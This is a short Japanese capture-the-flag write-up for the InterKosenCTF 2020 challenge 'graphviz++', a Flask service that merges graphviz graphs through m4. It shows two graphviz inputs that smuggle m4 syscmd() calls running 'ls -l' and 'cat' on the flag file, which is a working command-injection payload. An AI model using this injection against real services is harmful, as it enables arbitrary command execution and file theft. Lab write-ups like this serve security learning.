# graphviz++ [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` `misc` ## 概要 graphvizの式2つを送ると、その2を合成したグラフを出してくれるウェブアプリケーション。Flaskで書かれている ## 解法 サービスのスクリプトが渡されてるので調べると、 subprocess モジュールを使って dotやm4を呼び出している。m4とかいう明らかに怪しいマクロ言語を使っているのでこれに目をつけると良さそうということがわかる。 m4のマニュアルなどを見ていると ``syscmd(`ls')`` などと書いておけばこれの実行結果が埋め込まれることがわかる。できるかな〜と思って試すとできる。 ``` digraph g1 { subgraph cluster_0 { style=filled; color=lightgrey; node [style=filled, color=white]; a0 -> a1 -> a2 -> a3; } start -> a0; a3 -> end; a1 -> b3; a3 -> a0; a3 -> " syscmd(`ls -l'); "; start [shape=doublecircle]; end [shape=doublecircle]; } ``` ``` digraph g1 { subgraph cluster_0 { style=filled; color=lightgrey; node [style=filled, color=white]; a0 -> a1 -> a2 -> a3; } start -> a0; a3 -> end; a1 -> b3; a3 -> a0; a3 -> " syscmd(`cat flag_foxtrot.txt'); "; start [shape=doublecircle]; end [shape=doublecircle]; } ``` ![](https://i.imgur.com/NBTHeNk.png) ## 感想 miscっぽいmiscで嬉しい。easy 〜 mediumだと思います
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up